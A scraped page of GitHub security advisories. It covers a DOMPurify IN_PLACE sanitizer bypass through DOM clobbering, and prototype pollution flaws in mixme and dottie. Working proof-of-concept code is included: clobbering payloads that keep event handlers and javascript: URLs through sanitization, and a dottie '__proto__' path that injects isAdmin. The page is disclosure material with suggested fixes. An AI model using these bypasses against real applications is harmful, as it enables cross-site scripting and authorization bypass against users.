DOMPurify.sanitize(root, { IN_PLACE: true });
console.log(root.outerHTML);
// <form action="javascript:alert(1)" target="_top" onclick="alert(2)"
//       onmouseover="alert(3)" autofocus="" formaction="javascript:alert(4)"
//       id="cookie"><input></form>

(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE — the clobber is sticky. Chromium's HTMLFormElement named-property cache appears to retain the named child reference even after the child's name attribute is removed during the sanitization pass. Empirically verified — after the first sanitize pass, the input's name="nodeName" attribute is correctly stripped (the output shows <input> with no attributes), yet typeof form.nodeName === 'object' is still true and the input element is still returned. Calling DOMPurify.sanitize(sameNode, { IN_PLACE: true }) a second time hits the same _isClobbered → _forceRemove → _sanitizeAttributes early-return path. The only effective recovery is serialize-then-reparse:

const root = parseAttackerHtml();                                     // form with input name="nodeName" child
DOMPurify.sanitize(root, { IN_PLACE: true });                         // bypass: attrs survive
DOMPurify.sanitize(root, { IN_PLACE: true });                         // STILL bypassed: attrs survive
const recovered = (() => {
  const t = document.createElement('template');
  t.innerHTML = root.outerHTML;                                       // forces a fresh parse
  const r = t.content.firstElementChild;
  DOMPurify.sanitize(r, { IN_PLACE: true });
  return r;
})();
// recovered.outerHTML === '<form><input></form>'  ← finally clean

A "belt-and-suspenders" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip.

(d) SAFE_FOR_TEMPLATES bypass for the root's attributes. When the caller sets SAFE_FOR_TEMPLATES: true to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, …) from receiving {{…}} / <%…%> / ${…} syntax through DOMPurify's output, attribute-level template-syntax stripping runs in the same _sanitizeAttributes pass that early-returns on clobbered roots (:1572-1576). The root's attributes therefore retain raw template syntax that the downstream engine then evaluates.

Verified — same PoC structure, with SAFE_FOR_TEMPLATES: true:

const root = document.createElement('form');
root.setAttribute('title', '{{evil}}');
root.setAttribute('onmouseover', 'window.__x=1');
const c = document.createElement('input');
c.setAttribute('name', 'nodeName');
root.appendChild(c);

DOMPurify.sanitize(root, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });

console.log(root.outerHTML);
// <form title="{{evil}}" onmouseover="window.__x=1"><input></form>
//        ^^^^^^^^^^^^^^^^ template syntax survives

This compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed).

(Text-node content inside the form is still scrubbed correctly — _scrubTemplateExpressions at :1868-1870 walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.)

Indirect / second-order

DOM-based template systems / editors that wrap DOMPurify with an IN_PLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML).
Email/HTML preview libraries that pre-parse received HTML before sanitization for performance reasons.
Frameworks that hand DOMPurify a node tree rather than a string — including, indirectly, any code path that does el.innerHTML = …; DOMPurify.sanitize(el, { IN_PLACE: true }). The outer el is fine (it's not the form), but if the first child of el is taken as the sanitization root in a different code path, the bypass triggers.

Why current `main` is also vulnerable

Commit 89da34e ("fix: fixed a possible DOM clobbering with IN_PLACE and shadow DOM") hardens _sanitizeAttachedShadowRoots via three new cached prototype getters (getShadowRoot, getNodeName, getNodeType) and an _isClobbered extension that checks element.childNodes.length. The fix is correct for its scope — shadow-root traversal — but does not change _forceRemove's parent-less-node behavior or _sanitizeAttributes's clobber-skip early-return. The bypass demonstrated here is in the IN_PLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD 89da34e and still succeeds.

Suggested fix

Two minimal-risk options:

Make _forceRemove honest about failure: return whether the node was actually detached, and have the iterator call site honor that.

ts const _forceRemove = function (node: Node): boolean { arrayPush(DOMPurify.removed, { element: node }); try { getParentNode(node).removeChild(node); return true; } catch (_) { try { remove(node); } catch (_) {} return node.parentNode === null && /* but still attached to itself */ false; } }; Then at :1855, if _sanitizeElements returns true AND IN_PLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects — sanitization either succeeds or refuses to return a "sanitized" handle to an unsanitized tree.)

Strip attributes inside _sanitizeAttributes for clobbered roots: when _isClobbered(currentNode) is true at :1490, instead of early-returning, iterate currentNode.attributes (using the cached getAttributes if you add one) and remove each via removeAttribute. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC'd anyway) and removes the attack surface for root.
Refuse IN_PLACE on parent-less clobbered roots: at the top of the iterator, check that the root either has a parent OR is not _isClobbered. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting "sanitized = empty/safe."

Note on callable elements

In Chromium and WebKit, HTMLEmbedElement, HTMLAppletElement, HTMLIFrameElement, and HTMLScriptElement have typeof === 'function' because they expose plugin/iframe [[Call]] traps at the WebIDL level. A name="setAttribute" child of one of these tags spoofs the setAttribute typeof === 'function' check — but only matters for the attribute re-set path at :1619, not the bypass demonstrated here (which uses nodeName and friends). The callable-element vector is worth checking separately as a potential SAFE_FOR_TEMPLATES-bypass primitive; the present report does not depend on it.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.4.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49459"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-693",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T19:53:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM\n\n**CWE**: CWE-79 (XSS \u2014 Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure \u2014 silent no-op when `_forceRemove` is called on a parent-less node)\n\n## Summary\n\nWhen `DOMPurify.sanitize(root, { IN_PLACE: true })` is called and `root` is a `\u003cform\u003e` whose own attributes carry an event handler (`onmouseover`, `onfocus`, `onclick`, etc.), a single descendant element with a `name=` attribute matching any of the property names `_isClobbered` checks (`nodeName`, `setAttribute`, `namespaceURI`, `insertBefore`, `hasChildNodes`, `childNodes`) is sufficient to bypass attribute sanitization on the root. `_forceRemove` silently no-ops because the root has no parent; the iterator drives on to `_sanitizeAttributes`, which early-returns on clobbered nodes \u2014 and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.\n\nThis affects current `main` at `89da34e` (the just-landed DOM-clobbering hardening fix at `89da34e` addressed `_sanitizeAttachedShadowRoots` walk traversal, **not** the main `_sanitizeElements` / `_sanitizeAttributes` pipeline against the iterator-root node).\n\n## Affected\n\n- DOMPurify \u2264 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7`\n- Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` where `node` is built from untrusted HTML (e.g., parsed via `createElement(\u0027template\u0027).innerHTML = dirty` then `template.content.firstElementChild` handed in)\n\nNot affected:\n- String-input `DOMPurify.sanitize(dirtyString)` \u2014 the library builds the DOM itself inside `_initDocument`, the root is the cleanly-created document body, and clobber-named children of the body cannot shadow `body` named properties (HTMLBodyElement does not carry `[LegacyOverrideBuiltIns]`)\n- IN_PLACE where the root is not an HTMLFormElement\n- IN_PLACE where the attacker cannot place a clobber-named child inside the root\n\n## Vulnerability details\n\n### Code paths\n\n**[A]** \u2014 `_forceRemove` at `src/purify.ts:930-939`:\n\n```ts\nconst _forceRemove = function (node: Node): void {\n  arrayPush(DOMPurify.removed, { element: node });\n  try {\n    // eslint-disable-next-line unicorn/prefer-dom-node-remove\n    getParentNode(node).removeChild(node);   // [A1] throws when getParentNode returns null\n  } catch (_) {\n    remove(node);                             // [A2] WebIDL Node.remove() \u2014 spec-defined no-op\n  }                                           //      when the node has no parent\n};\n```\n\nWhen the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), `getParentNode(node)` returns `null`, `null.removeChild(node)` throws, the catch falls to `remove(node)` \u2014 which per WebIDL is `Element.prototype.remove.call(node)`, and per spec **does nothing if the node has no parent**. Nothing about `_forceRemove`\u0027s contract acknowledges this \u2014 the function appears to its callers as \"the node is gone now,\" but the node is still in place.\n\n**[B]** \u2014 `_sanitizeAttributes` at `src/purify.ts:1490-1492`:\n\n```ts\nconst _sanitizeAttributes = function (currentNode: Element): void {\n  _executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);\n\n  const { attributes } = currentNode;\n\n  /* Check if we have attributes; if not we might have a text node */\n  if (!attributes || _isClobbered(currentNode)) {\n    return;                                   // [B] silently skips ALL attribute checks\n  }                                           //     for clobbered nodes\n  ...\n};\n```\n\nThe skip at `[B]` is deliberate \u2014 the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is *\"if `_isClobbered`, then `_sanitizeElements` already removed this node, so we will never reach `_sanitizeAttributes` on it.\"* That invariant holds for every non-root node (their `_forceRemove` succeeds in detaching them), but fails for the iterator root in IN_PLACE mode.\n\n**The mismatch** is between [A] and [B]: [A] assumes \"removal\" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make `_forceRemove` fail loudly on parent-less nodes (so the caller can bail out of IN_PLACE entirely) or have `_sanitizeAttributes` strip attributes from clobbered roots before returning.\n\n### Iterator call site\n\n`src/purify.ts:1850-1864` ignores the boolean return value of `_sanitizeElements`:\n\n```ts\nconst nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body);\n\nwhile ((currentNode = nodeIterator.nextNode())) {\n  _sanitizeElements(currentNode);       // returns `true` if killed \u2014 IGNORED\n  _sanitizeAttributes(currentNode);     // runs unconditionally; relies on [B]\u0027s skip\n  ...\n}\n```\n\nIf the return value were checked and `_sanitizeAttributes` skipped when the node was \"killed,\" the bug would not exist as a discrete issue \u2014 but currently `_sanitizeAttributes` is the only line of defense for a node that `_sanitizeElements` could not actually detach.\n\n### Why the clobber works\n\nIn Chromium/WebKit/Firefox, `HTMLFormElement` carries the WebIDL `[LegacyOverrideBuiltIns]` extended attribute on its named-property getter. A descendant element with `name=\"X\"` (or `id=\"X\"`, for radio-button-like names) shadows the matching property on the form, including properties inherited from `Element`, `Node`, and `EventTarget` prototypes. This is the same primitive the just-landed `89da34e` fix addresses for shadow-root traversal, but `_isClobbered`\u0027s typeof checks (and the bypass-by-detection-failure path here) are independent of that fix.\n\nVerified clobber targets (each name= value independently triggers `_isClobbered`):\n\n| `name=` value | property `_isClobbered` checks | typeof on clobbered form |\n|---|---|---|\n| `nodeName` | `typeof element.nodeName !== \u0027string\u0027` | object (an `\u003cINPUT\u003e`) |\n| `setAttribute` | `typeof element.setAttribute !== \u0027function\u0027` | object (not callable) \u2014 *but* `\u003cembed\u003e`/`\u003capplet\u003e`/`\u003ciframe\u003e` ARE callable; see \"Note on callable elements\" below |\n| `namespaceURI` | `typeof element.namespaceURI !== \u0027string\u0027` | object |\n| `insertBefore` | `typeof element.insertBefore !== \u0027function\u0027` | object |\n| `hasChildNodes` | `typeof element.hasChildNodes !== \u0027function\u0027` | object |\n| `childNodes` | `!(element.childNodes \u0026\u0026 typeof element.childNodes.length === \u0027number\u0027)` | object \u2014 `\u003cINPUT\u003e` has no `.length` |\n| `attributes` | `!(element.attributes instanceof NamedNodeMap)` | object (an `\u003cINPUT\u003e` is not a NamedNodeMap) |\n| `textContent` | `typeof element.textContent !== \u0027string\u0027` | object |\n| `removeChild` | `typeof element.removeChild !== \u0027function\u0027` | object (non-callable) |\n| `removeAttribute` | `typeof element.removeAttribute !== \u0027function\u0027` | object (non-callable) |\n\nAny single one of the ten property names in `_isClobbered`\u0027s checklist is sufficient as the bypass trigger.\n\n## Proof of concept\n\n### (1) Minimal \u2014 runnable in a single browser context\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cscript src=\"dist/purify.js\"\u003e\u003c/script\u003e\n\u003cscript\u003e\n  const root = document.createElement(\u0027form\u0027);\n  root.setAttribute(\u0027onmouseover\u0027, \u0027window.__rooted = 1\u0027);\n  const clobber = document.createElement(\u0027input\u0027);\n  clobber.setAttribute(\u0027name\u0027, \u0027nodeName\u0027);\n  root.appendChild(clobber);\n\n  // typeof root.nodeName === \u0027object\u0027 (an \u003cINPUT\u003e element), not \u0027string\u0027.\n  // _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.\n  DOMPurify.sanitize(root, { IN_PLACE: true });\n\n  console.log(\u0027output:\u0027, root.outerHTML);\n  // \u003cform onmouseover=\"window.__rooted = 1\"\u003e\u003cinput name=\"nodeName\"\u003e\u003c/form\u003e\n  //  ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^\n\n  document.body.appendChild(root);\n  root.dispatchEvent(new MouseEvent(\u0027mouseover\u0027, { bubbles: true }));\n  console.log(\u0027handler fired:\u0027, window.__rooted === 1);  // true\n\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n### (2) End-to-end \u2014 Playwright against `main` HEAD\n\n```js\nconst { chromium } = require(\u0027playwright\u0027);\nconst path = require(\u0027path\u0027);\n\n(async () =\u003e {\n  const browser = await chromium.launch();\n  const page = await browser.newPage();\n  await page.setContent(\u0027\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e\u0027);\n  await page.addScriptTag({ path: path.resolve(\u0027dist/purify.js\u0027) });\n\n  const result = await page.evaluate(() =\u003e {\n    const root = document.createElement(\u0027form\u0027);\n    root.setAttribute(\u0027onmouseover\u0027, \u0027window.__rooted = 1\u0027);\n    const clobber = document.createElement(\u0027input\u0027);\n    clobber.setAttribute(\u0027name\u0027, \u0027nodeName\u0027);\n    root.appendChild(clobber);\n\n    DOMPurify.sanitize(root, { IN_PLACE: true });\n\n    document.body.appendChild(root);\n    window.__rooted = 0;\n    root.dispatchEvent(new MouseEvent(\u0027mouseover\u0027, { bubbles: true }));\n\n    return {\n      version: DOMPurify.version,\n      output: root.outerHTML,\n      handlerFired: window.__rooted === 1,\n    };\n  });\n  console.log(result);\n  await browser.close();\n})();\n```\n\nObserved (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD `89da34e`):\n\n```\n{\n  version: \u00273.4.5\u0027,\n  output: \u0027\u003cform onmouseover=\"window.__rooted = 1\"\u003e\u003cinput name=\"nodeName\"\u003e\u003c/form\u003e\u0027,\n  handlerFired: true\n}\n```\n\n### (3) Variant matrix \u2014 six distinct clobber-target properties\n\nEvery property name in `_isClobbered`\u0027s typeof checklist works as the bypass trigger:\n\n```\n[BYPASS] name=\"nodeName\"      \u2192 \u003cform onmouseover=\"\u2026\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"setAttribute\"  \u2192 \u003cform onmouseover=\"\u2026\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"namespaceURI\"  \u2192 \u003cform onmouseover=\"\u2026\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"insertBefore\"  \u2192 \u003cform onmouseover=\"\u2026\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"hasChildNodes\" \u2192 \u003cform onmouseover=\"\u2026\"\u003e\u003cinput\u003e\u003c/form\u003e\n[BYPASS] name=\"childNodes\"    \u2192 \u003cform onmouseover=\"\u2026\"\u003e\u003cinput\u003e\u003c/form\u003e\n```\n\nThis makes the fix less of a one-line patch \u2014 every property `_isClobbered` checks for the typeof-spoofing pattern needs to be considered.\n\n## Impact\n\n### Direct\n\nTwo distinct impact paths from the same root-attribute-survival primitive:\n\n**(a) XSS via event-handler attribute on the surviving root.** Any consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` where `node` originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is:\n\n```js\nconst t = document.createElement(\u0027template\u0027);\nt.innerHTML = untrustedHtml;\nDOMPurify.sanitize(t.content.firstElementChild, { IN_PLACE: true });\ncontainer.appendChild(t.content.firstElementChild);\n```\n\nIf `untrustedHtml` is `\u003cform onmouseover=\u2026\u003e\u003cinput name=nodeName\u003e\u2026\u003c/form\u003e`, the resulting node has the `onmouseover` attribute intact when re-inserted into the live document.\n\n**(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers.** The `_sanitizeAttributes` early-return at `:1490` skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive:\n\n- **`action=\"javascript:...\"` and `formaction=\"javascript:...\"`** \u2014 URI validation at `:1413` never runs. A user click on a submit button inside the sanitized form navigates to the `javascript:` URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented.\n- **`id=\"\u003ccolliding-name\u003e\"`** \u2014 the DOM-clobbering guard at `:1352-1359` (`SANITIZE_DOM \u0026\u0026 (lcName === \u0027id\u0027 || lcName === \u0027name\u0027) \u0026\u0026 (value in document || value in formElement)`) lives inside `_sanitizeAttributes` and is skipped. An attacker can therefore land `id=\"cookie\"`, `id=\"body\"`, `id=\"head\"`, `id=\"firstChild\"`, etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that does `document.cookie`, `document.body`, etc.\n- **`target=\"_top\"`**, **`autofocus`**, **`formenctype`**, **`formmethod`** \u2014 all survive untouched.\n- **Custom event handlers DOMPurify wouldn\u0027t have explicit list entries for** (e.g., newly-spec\u0027d `oncontentvisibilityautostatechange`) survive on the clobbered root via the same skip; the per-name allow-list at `:1361-1364` never runs.\n\nVerified \u2014 full attribute set survives on a single payload (PoC):\n\n```js\nconst root = document.createElement(\u0027form\u0027);\nroot.setAttribute(\u0027action\u0027, \u0027javascript:alert(1)\u0027);\nroot.setAttribute(\u0027target\u0027, \u0027_top\u0027);\nroot.setAttribute(\u0027onclick\u0027, \u0027alert(2)\u0027);\nroot.setAttribute(\u0027onmouseover\u0027, \u0027alert(3)\u0027);\nroot.setAttribute(\u0027autofocus\u0027, \u0027\u0027);\nroot.setAttribute(\u0027formaction\u0027, \u0027javascript:alert(4)\u0027);\nroot.setAttribute(\u0027id\u0027, \u0027cookie\u0027);           // DOM-clobbering primitive\nroot.innerHTML += \u0027\u003cinput name=\"nodeName\"\u003e\u0027;\nDOMPurify.sanitize(root, { IN_PLACE: true });\nconsole.log(root.outerHTML);\n// \u003cform action=\"javascript:alert(1)\" target=\"_top\" onclick=\"alert(2)\"\n//       onmouseover=\"alert(3)\" autofocus=\"\" formaction=\"javascript:alert(4)\"\n//       id=\"cookie\"\u003e\u003cinput\u003e\u003c/form\u003e\n```\n\n**(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE \u2014 the clobber is sticky.** Chromium\u0027s `HTMLFormElement` named-property cache appears to retain the named child reference even after the child\u0027s `name` attribute is removed during the sanitization pass. Empirically verified \u2014 after the first sanitize pass, the input\u0027s `name=\"nodeName\"` attribute is correctly stripped (the output shows `\u003cinput\u003e` with no attributes), yet `typeof form.nodeName === \u0027object\u0027` is still true and the input element is still returned. Calling `DOMPurify.sanitize(sameNode, { IN_PLACE: true })` a second time hits the same `_isClobbered` \u2192 `_forceRemove` \u2192 `_sanitizeAttributes` early-return path. The only effective recovery is serialize-then-reparse:\n\n```js\nconst root = parseAttackerHtml();                                     // form with input name=\"nodeName\" child\nDOMPurify.sanitize(root, { IN_PLACE: true });                         // bypass: attrs survive\nDOMPurify.sanitize(root, { IN_PLACE: true });                         // STILL bypassed: attrs survive\nconst recovered = (() =\u003e {\n  const t = document.createElement(\u0027template\u0027);\n  t.innerHTML = root.outerHTML;                                       // forces a fresh parse\n  const r = t.content.firstElementChild;\n  DOMPurify.sanitize(r, { IN_PLACE: true });\n  return r;\n})();\n// recovered.outerHTML === \u0027\u003cform\u003e\u003cinput\u003e\u003c/form\u003e\u0027  \u2190 finally clean\n```\n\nA \"belt-and-suspenders\" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip.\n\n**(d) SAFE_FOR_TEMPLATES bypass for the root\u0027s attributes.** When the caller sets `SAFE_FOR_TEMPLATES: true` to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, \u2026) from receiving `{{\u2026}}` / `\u003c%\u2026%\u003e` / `${\u2026}` syntax through DOMPurify\u0027s output, attribute-level template-syntax stripping runs in the same `_sanitizeAttributes` pass that early-returns on clobbered roots (`:1572-1576`). The root\u0027s attributes therefore retain raw template syntax that the downstream engine then evaluates.\n\nVerified \u2014 same PoC structure, with `SAFE_FOR_TEMPLATES: true`:\n\n```js\nconst root = document.createElement(\u0027form\u0027);\nroot.setAttribute(\u0027title\u0027, \u0027{{evil}}\u0027);\nroot.setAttribute(\u0027onmouseover\u0027, \u0027window.__x=1\u0027);\nconst c = document.createElement(\u0027input\u0027);\nc.setAttribute(\u0027name\u0027, \u0027nodeName\u0027);\nroot.appendChild(c);\n\nDOMPurify.sanitize(root, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\nconsole.log(root.outerHTML);\n// \u003cform title=\"{{evil}}\" onmouseover=\"window.__x=1\"\u003e\u003cinput\u003e\u003c/form\u003e\n//        ^^^^^^^^^^^^^^^^ template syntax survives\n```\n\nThis compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed).\n\n(Text-node content inside the form is still scrubbed correctly \u2014 `_scrubTemplateExpressions` at `:1868-1870` walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.)\n\n### Indirect / second-order\n\n- **DOM-based template systems / editors** that wrap DOMPurify with an IN_PLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML).\n- **Email/HTML preview libraries** that pre-parse received HTML before sanitization for performance reasons.\n- **Frameworks that hand DOMPurify a node tree** rather than a string \u2014 including, indirectly, any code path that does `el.innerHTML = \u2026; DOMPurify.sanitize(el, { IN_PLACE: true })`. The outer `el` is fine (it\u0027s not the form), but if the *first child* of `el` is taken as the sanitization root in a different code path, the bypass triggers.\n\n### Why current `main` is also vulnerable\n\nCommit `89da34e` (\"fix: fixed a possible DOM clobbering with IN_PLACE and shadow DOM\") hardens `_sanitizeAttachedShadowRoots` via three new cached prototype getters (`getShadowRoot`, `getNodeName`, `getNodeType`) and an `_isClobbered` extension that checks `element.childNodes.length`. The fix is correct for its scope \u2014 shadow-root traversal \u2014 but does not change `_forceRemove`\u0027s parent-less-node behavior or `_sanitizeAttributes`\u0027s clobber-skip early-return. The bypass demonstrated here is in the IN_PLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD `89da34e` and still succeeds.\n\n## Suggested fix\n\nTwo minimal-risk options:\n\n1. **Make `_forceRemove` honest about failure**: return whether the node was actually detached, and have the iterator call site honor that.\n\n   ```ts\n   const _forceRemove = function (node: Node): boolean {\n     arrayPush(DOMPurify.removed, { element: node });\n     try {\n       getParentNode(node).removeChild(node);\n       return true;\n     } catch (_) {\n       try { remove(node); } catch (_) {}\n       return node.parentNode === null \u0026\u0026 /* but still attached to itself */ false;\n     }\n   };\n   ```\n   Then at `:1855`, if `_sanitizeElements` returns true AND IN_PLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects \u2014 sanitization either succeeds or refuses to return a \"sanitized\" handle to an unsanitized tree.)\n\n2. **Strip attributes inside `_sanitizeAttributes` for clobbered roots**: when `_isClobbered(currentNode)` is true at `:1490`, instead of early-returning, iterate `currentNode.attributes` (using the cached `getAttributes` if you add one) and remove each via `removeAttribute`. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC\u0027d anyway) and removes the attack surface for root.\n\n3. **Refuse IN_PLACE on parent-less clobbered roots**: at the top of the iterator, check that the root either has a parent OR is not `_isClobbered`. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting \"sanitized = empty/safe.\"\n\n### Note on callable elements\n\nIn Chromium and WebKit, `HTMLEmbedElement`, `HTMLAppletElement`, `HTMLIFrameElement`, and `HTMLScriptElement` have `typeof === \u0027function\u0027` because they expose plugin/iframe `[[Call]]` traps at the WebIDL level. A `name=\"setAttribute\"` *child* of one of these tags spoofs the `setAttribute typeof === \u0027function\u0027` check \u2014 but only matters for the *attribute re-set* path at `:1619`, not the bypass demonstrated here (which uses `nodeName` and friends). The callable-element vector is worth checking separately as a potential `SAFE_FOR_TEMPLATES`-bypass primitive; the present report does not depend on it.",
  "id": "GHSA-r47g-fvhr-h676",
  "modified": "2026-06-15T19:53:05Z",
  "published": "2026-06-15T19:53:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-r47g-fvhr-h676"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DOMPurify: IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM"
}

GHSA-R5CQ-9537-9RPF

Vulnerability from github – Published: 2022-02-10 23:52 – Updated: 2021-12-13 21:33

Summary

Prototype Pollution in mixme

Details

Node.js mixme 0.5.0, an attacker can add or alter properties of an object via 'proto' through the mutate() and merge() functions. The polluted attribute will be directly assigned to every object in the program. This will put the availability of the program at risk causing a potential denial of service (DoS).

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mixme"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-28860"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-19T21:34:53Z",
    "nvd_published_at": "2021-05-03T12:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Node.js mixme 0.5.0, an attacker can add or alter properties of an object via \u0027__proto__\u0027 through the mutate() and merge() functions. The polluted attribute will be directly assigned to every object in the program. This will put the availability of the program at risk causing a potential denial of service (DoS).",
  "id": "GHSA-r5cq-9537-9rpf",
  "modified": "2021-12-13T21:33:52Z",
  "published": "2022-02-10T23:52:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/adaltas/node-mixme/security/advisories/GHSA-79jw-6wg7-r9g4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28860"
    },
    {
      "type": "WEB",
      "url": "https://github.com/adaltas/node-mixme/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/adaltas/node-mixme/commit/cfd5fbfc32368bcf7e06d1c5985ea60e34cd4028"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/adaltas/node-mixme"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210618-0005"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/~david"
    },
    {
      "type": "WEB",
      "url": "http://nodejs.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in mixme"
}

GHSA-R5MX-6WC6-7H9W

Vulnerability from github – Published: 2026-02-26 19:54 – Updated: 2026-02-26 19:54

Summary

dottie is vulnerable to Prototype Pollution bypass via non-first path segments in set() and transform()

Details

Summary

dottie versions 2.0.4 through 2.0.6 contain an incomplete fix for CVE-2023-26132. The prototype pollution guard introduced in commit 7d3aee1 only validates the first segment of a dot-separated path, allowing an attacker to bypass the protection by placing __proto__ at any position other than the first.

Both dottie.set() and dottie.transform() are affected.

Details

The existing guard checks only pieces[0] === '__proto__'. When a path like 'a.__proto__.polluted' is used, pieces[0] evaluates to 'a', not '__proto__', so the guard is bypassed.

Inside the traversal loop, current['__proto__'] = {} triggers the __proto__ setter, replacing the intermediate object's prototype. The final value is then written onto this new prototype.

Important distinction: This vulnerability does NOT pollute the global Object.prototype. It injects properties into a specific object's prototype chain. However, injected properties are invisible to hasOwnProperty() and Object.keys(), which makes them difficult to detect and can lead to authorization bypass in common coding patterns.

PoC

const dottie = require('dottie');

// set() bypass
const obj = {};
dottie.set(obj, 'session.__proto__.isAdmin', true);
console.log(obj.session.isAdmin);                    // true
console.log(({}).isAdmin);                           // undefined
console.log(obj.session.hasOwnProperty('isAdmin'));  // false

// transform() bypass
const flat = { 'user.__proto__.role': 'admin', 'user.name': 'guest' };
const result = dottie.transform(flat);
console.log(result.user.role);                       // 'admin'
console.log(({}).role);                              // undefined

Tested on Node.js v20 and v22, dottie 2.0.6, Windows 11.

Impact

The primary risk is authorization bypass. In a typical server-side scenario where dottie is used to process user input (e.g., via Sequelize, which depends on dottie with ~1.3M weekly npm downloads), an attacker can inject properties like isAdmin: true into objects used for access control decisions. Since the injected property is not an own property, standard checks using hasOwnProperty() or Object.keys() will not reveal it, while property access like if (session.isAdmin) will return true.

Additionally, replacing an object's prototype via current['__proto__'] = {} strips all inherited methods, potentially causing TypeError exceptions and denial of service.

Severity

6.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

